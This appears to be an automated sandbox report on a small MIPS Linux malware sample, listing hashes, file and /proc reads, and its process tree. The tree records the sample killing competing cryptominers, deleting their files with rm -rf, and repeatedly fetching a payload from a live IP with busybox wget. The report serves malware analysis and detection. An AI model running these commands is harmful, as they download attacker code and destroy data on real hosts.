3f41238a1b23e3842e6200c4bb9bf120429a6b145f373148952836cefb5f7ea0

Analysis

max time kernel
10s
max time network
12s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
10/09/2026, 01:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_3f41238a1b23e3842e6200c4bb9bf120429a6b145f373148952836cefb5f7ea0.bin
Size 1KB
Sample260910-bgjb7stapa
SHA256 3f41238a1b23e3842e6200c4bb9bf120429a6b145f373148952836cefb5f7ea0
MD5 8fdc897fe07719a0763e356cfed84262
SHA1 273040c56c1de8e036de757fba239641722fee38
SHA512 eeaa49ac990dbba9fbbc1da2206d752c26e0a359279ef2ddb67295eeaa513e51c31f085405f2bb0b0ea719f87ee4e6812e1bd97e77f0eeed77e8768276ffa1a3
TLSH
T166419EE558D2B9EC3896699EB263822815C4FE8818F707CCB90D6D35B359508F7223EC
MD5 SHA1 SHA512 TLSH

Score

6^/10

discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 23 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/372/cmdline	pkill
File opened for reading	/proc/124/status	pkill
File opened for reading	/proc/173/status	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/73/status	pkill
File opened for reading	/proc/716/cmdline	pkill
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/108/cmdline	pkill
File opened for reading	/proc/660/status	pkill
File opened for reading	/proc/152/status	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/254/status	pkill
File opened for reading	/proc/760/status	pkill
File opened for reading	/proc/372/status	pkill
File opened for reading	/proc/340/cmdline	pkill
File opened for reading	/proc/78/status	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/36/cmdline	pkill
File opened for reading	/proc/37/status	pkill
File opened for reading	/proc/387/status	pkill
File opened for reading	/proc/704/cmdline	pkill
File opened for reading	/proc/176/status	pkill
File opened for reading	/proc/36/cmdline	pkill
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/152/cmdline	pkill
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/370/cmdline	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/176/status	pkill
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/173/status	pkill
File opened for reading	/proc/751/cmdline	pkill
File opened for reading	/proc/681/status	pkill
File opened for reading	/proc/713/status	pkill
File opened for reading	/proc/69/cmdline	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/340/cmdline	pkill
File opened for reading	/proc/338/cmdline	pkill
File opened for reading	/proc/681/status	pkill
File opened for reading	/proc/716/status	pkill
File opened for reading	/proc/710/cmdline	pkill
File opened for reading	/proc/682/status	pkill
File opened for reading	/proc/152/cmdline	pkill
File opened for reading	/proc/779/status	pkill
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/678/cmdline	pkill
File opened for reading	/proc/70/cmdline	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/37/cmdline	pkill
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/124/status	pkill
File opened for reading	/proc/36/status	pkill
File opened for reading	/proc/660/cmdline	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/72/cmdline	pkill
File opened for reading	/proc/73/cmdline	pkill

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/lrt	jaffacakes118_3f41238a1b23e3842e6200c4bb9bf120429a6b145f373148952836cefb5f7ea0.bin

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lrt	jaffacakes118_3f41238a1b23e3842e6200c4bb9bf120429a6b145f373148952836cefb5f7ea0.bin

/tmp/jaffacakes118_3f41238a1b23e3842e6200c4bb9bf120429a6b145f373148952836cefb5f7ea0.bin
/tmp/jaffacakes118_3f41238a1b23e3842e6200c4bb9bf120429a6b145f373148952836cefb5f7ea0.bin
1⤵
- Writes file to shm directory
- Writes file to tmp directory
PID:713
- /usr/bin/pkill
  pkill -f monitorx
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:715
- /bin/rm
  rm -rf /tmp/cbee9376_monitorx
  2⤵
  PID:719
- /usr/bin/pkill
  pkill -f xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:722
- /usr/bin/pkill
  pkill -f watcher
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:729
- /usr/bin/pkill
  pkill -f /tmp/a
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:732
- /usr/bin/pkill
  pkill -f health.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:736
- /bin/rm
  rm -rf /tmp/.XIN-unix
  2⤵
  PID:739
- /usr/bin/pkill
  pkill -f .XIN-unix
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:740
- /usr/bin/pkill
  pkill -9 vim
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:741
- /bin/rm
  rm -rf /tmp/vim
  2⤵
  PID:744
- /bin/rm
  rm -rf /var/www/futureoftaste
  2⤵
  PID:745
- /bin/rm
  rm -rf /etc/id.services.conf
  2⤵
  PID:746
- /usr/bin/pkill
  pkill -f /etc/32678
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:747
- /usr/bin/pkill
  pkill -f /tmp/runnv/lived.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:750
- /bin/rm
  rm -rf /tmp/runnv
  2⤵
  PID:752
- /usr/bin/pkill
  pkill -f 49nbZB84CgbenDUfv4hxbHJSqgbmSmTsdiJqFyeNF6E4Hbvj8CeF6j1KbFLoWzcvEsZMqZXEedrPZKpYgAbAKrUgLFNzSDz
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:753
- /bin/rm
  rm -rf /tmp/xmrig.tar.gz
  2⤵
  PID:755
- /usr/bin/pkill
  pkill -f pool.hashvault.pro
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:756
- /bin/rm
  rm -rf /tmp/kamd64
  2⤵
  PID:757
- /bin/rm
  rm -rf /tmp/p.sh
  2⤵
  PID:758
- /usr/bin/pkill
  pkill -f /tmp/kamd64
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:760
- /usr/bin/pkill
  pkill -f /tmp/p.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:761
- /usr/bin/pkill
  pkill -f ./ddd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:762
- /usr/bin/pkill
  pkill -f kinsing
  2⤵
  - Reads CPU attributes
  PID:763
- /bin/rm
  rm -rf /etc/data/kinsing
  2⤵
  PID:764
- /bin/rm
  rm -rf /.local/share/.05bf0e9b
  2⤵
  PID:765
- /bin/rm
  rm -rf /tmp/dockerd
  2⤵
  PID:766
- /bin/rm
  rm -rf /tmp/docker-daemon
  2⤵
  PID:767
- /bin/rm
  rm -rf /tmp/update
  2⤵
  PID:768
- /usr/bin/pkill
  pkill -9 dockerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:769
- /usr/bin/pkill
  pkill -9 /tmp/docker-daemon
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:770
- /usr/bin/pkill
  pkill -9 /tmp/update
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:771
- /bin/rm
  rm -rf /etc/rondo/rondo
  2⤵
  PID:772
- /bin/rm
  rm -rf /etc/profile.d/d.sh
  2⤵
  PID:773
- /bin/rm
  rm -rf /tmp/jaffacakes118_3f41238a1b23e3842e6200c4bb9bf120429a6b145f373148952836cefb5f7ea0.bin /tmp/systemd-private-0afa7f4cefa64df6b65a217ba868d7e7-systemd-timedated.service-2Xw9F6
  2⤵
  PID:774
- /usr/bin/pkill
  pkill -f "zpool|c3pool|nanopool|supportxmr|hashvault|p2pool|skypool|xmrpool|herominers|antpool|monerohash|zergpool|mining-dutch|solopool"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:775
- /usr/bin/pkill
  pkill -f fkkkf
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:776
- /bin/rm
  rm -rf /tmp/fkkkf
  2⤵
  PID:777
- /usr/bin/pkill
  pkill -f .dnsupd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:778
- /usr/bin/pkill
  pkill -f n0de
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:779
- /bin/rm
  rm -rf /var/tmp/.font/n0de
  2⤵
  PID:780
- /usr/bin/pkill
  pkill -f alive.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:781
- /bin/busybox
  busybox wget http://205.185.127.97/nuts/poop -qO-
  2⤵
  PID:791
- /bin/busybox
  busybox wget http://205.185.127.97/nuts/poop -qO-
  2⤵
  PID:794
- /bin/busybox
  busybox wget http://205.185.127.97/nuts/poop -qO-
  2⤵
  PID:790
- /bin/busybox
  busybox wget http://205.185.127.97/nuts/poop -qO-
  2⤵
  PID:793
- /bin/busybox
  busybox wget http://205.185.127.97/nuts/poop -qO-
  2⤵
  PID:795
- /bin/busybox
  busybox wget http://205.185.127.97/nuts/poop -qO-
  2⤵
  PID:796
- /bin/busybox
  busybox wget http://205.185.127.97/nuts/poop -qO-
  2⤵
  PID:792

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads